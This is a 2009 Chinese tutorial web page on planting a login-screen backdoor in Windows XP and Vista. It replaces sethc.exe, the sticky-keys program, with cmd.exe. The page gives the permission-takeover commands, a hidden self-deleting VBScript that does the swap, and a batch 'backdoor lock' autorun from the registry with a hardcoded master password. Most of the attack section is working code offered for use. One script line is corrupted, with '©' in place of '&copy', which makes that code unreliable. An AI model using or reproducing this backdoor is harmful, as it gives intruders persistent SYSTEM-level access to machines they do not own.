动态网站制作指南



当前位置 > 网站建设学院 > 网络安全 > 黑客攻防 Rss
Tag:卡巴斯基,NOD32,诺顿,金山毒霸,瑞星,江民

妙用粘滞键打造入侵Windows Vista系统超酷后门


发表日期:2009-1-7


  在Windows 2000/XP/Vista下,按Shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到Windows的屏保,将程序替换成cmd.exe后,就可以打开shell了。

  一、具体的替换方法:

  XP系统:

  将安装源光盘弹出(或将硬盘上的安装目录改名):


  cd %widnir%\system32\dllcache
  ren sethc.exe *.ex~
  cd %widnir%\system32
  copy /y cmd.exe sethc.exe


  Vista系统:


  takeown /f c:\windows\system32\sethc.exe
  cacls c:\windows\system32\sethc.exe /G administrator:F


  备注:上两步为获得权限的命令,你也可以通过Vista优化大师获得右键菜单的提升权限的功能,然后在sethc.exe文件上面右键直接提升权限。

  然后按XP方法替换文件,

  在登录界面按5此SHIFT,出来cmd shell,然后……

  二、后门扩展:


  Dim obj, success
  Set obj = CreateObject("WScript.Shell")
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
  success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
  success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
  success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
  success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
  success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)


  第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题

  再更新,加个自删除、简化代码:


  On Error Resume Next
  Dim obj, success
  Set obj = CreateObject("WScript.Shell")
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
  CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)


  三、后门锁扩展:

  allyesno注:可以采用cmd 锁来进行cmdshell的密码验证。

  用下面的后门锁的方法是,把代码保存为bdlock.bat,然后修改注册表位置即可


  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command PRocessor]
  "AutoRun"="bdlock.bat"
  @Echo Off
  title 后门登陆验证
  color a
  cls
  set temprandom=%RANDOM%
  echo 请输入验证码:%temprandom%
  set/p check=
  if "%check%"=="%temprandom%%temprandom%" goto passcheck
  if "%check%"=="%temprandom%" (
  rem 后门服务器验证
  rem 如果没有后门验证服务器请rem注释掉下一行代码
  if exist \192.168.8.8\backdoor$\pass goto passcheck
  )
  echo 验证失败
  pause
  exit
  :passcheck
  echo 验证成功
  If "%passcmdlock%"==http://www.6655.com/ Goto endx
  Set passcmdlock=http://www.6655.com/
  :allyesno
  Set Errorlevel=>nul
  Echo 请输入验证密码?
  Set passWord=allyesno Is a pig>nul
  Set/p password=
  rem 万能密码
  if "%password%"=="allyesno is a sb" goto endx
  If %time:~1,1%==0 Set timechange=a
  If %time:~1,1%==1 Set timechange=b
  If %time:~1,1%==2 Set timechange=c
  If %time:~1,1%==3 Set timechange=d
  If %time:~1,1%==4 Set timechange=e
  If %time:~1,1%==5 Set timechange=f
  If %time:~1,1%==6 Set timechange=g
  If %time:~1,1%==7 Set timechange=h
  If %time:~1,1%==8 Set timechange=i
  If %time:~1,1%==9 Set timechange=j
  set/a sum=%time:~1,1%+%time:~1,1%
  Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
  If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
  Echo 请联系Vista之家咨询正确密码!&Goto allyesno
  :End
  Set password=>nul
  Set Errorlevel=>nul
  Echo 很好,很和谐!
  :endx

关注此文的读者还看过:
·2012-2-8 14:30:11 面对CSS跨站攻击 IE、FireFox态度截然不同
·2012-2-8 14:28:58 网络安全教程:木马是怎样攻入Ecshop商城的
·2012-2-8 14:28:13 入门级黑客必看:最常用的密码大曝光
·2012-2-8 14:27:52 拒绝漏洞 手工设置禁用Acrobat Javascript
·2012-2-8 14:26:38 黑客攻防实战之对有防火墙网站入侵过程
·2012-2-8 14:15:52 网络安全之特洛伊木马攻防战略
·2012-2-8 14:07:54 用端口截听实现隐藏嗅探与攻击
·2012-2-8 14:00:13 零时差攻击的危险性及特征
·2012-2-8 13:55:44 利用Google作黑客攻击的原理和防范
站长推荐 PS笔刷下载 在线翻译 系统进程 广告代码
  发表评论
姓 名: 验证码:
内 容:
教程搜索服务
项目外包信息
·找长期合作的网页设计师(切图+
·SNS 网站开发
·云南大蓄文化传播有限公司网站设
·药品代购网站
·FLASH网站汉化
·求高手帮我设计一个减肥产品网站
·flash首页制作(已有设计图)
·寻求长期外包人员
·网页页面修改
·北京地区 flash动画合作
·佛山网站建设+263企业邮箱找我。
·ecshop+Discuz! X2+ Home会员整
·寻找网站建设团队或者个人合伙
·LOGO设计外包
·企业网后台程序外包
发布信息 浏览信息
邮件订阅服务
输入你的邮件地址,你将不会错过任何关于<黑客攻防>的内容


网络安全文章分类
安全在线
黑客攻防
病毒防治
教你一招
病毒数据库
站长工具:Google PR查询|Alexa排名查询|网站速度测试|CSS在线编辑器|OPEN参数生成器|弹出式窗口代码产生器|密码登录生成器|在线按钮生成器|Meta标签生成器|邮箱图标在线生成|多色彩特效字代码生成器|网页代码调试器|在线FTP登陆|Flash取色器|配色代码对照表|配色辞典|CSS生成器|CSS在线压缩|广告代码|框架网页代码生成器|js/vbs加密|md5加密|进制转换|UTF-8 转换工具|在线调色板|Html转换js|Html转换asp|Html转换php|Html转换perl
实用工具:汉字翻译拼音|拼音字典|在线翻译|天气预报|火星文|在线网速测试|符号对照表|个税计算|理财工具|黄金价格|购房银行按揭利率计算|汇率查询|经典小工具|汉字简繁转换|普通单位换算|公制单位换算|生辰老黄历|国内电话区号|国家代码与域名缩写|文字加密解密|元素周期表|健康查询|世界时间|全国各地车牌查询|全国车辆交通违章查询|万年历|二十四节气|汉字横竖排版|手机号码查询|计算器|ip搜索
广告刊登 | 版权声明 | 联系我们 | 加入收藏 | RSS订阅
Copyright © 2000-2012 www.knowsky.com All rights reserved | 沪ICP备05001343号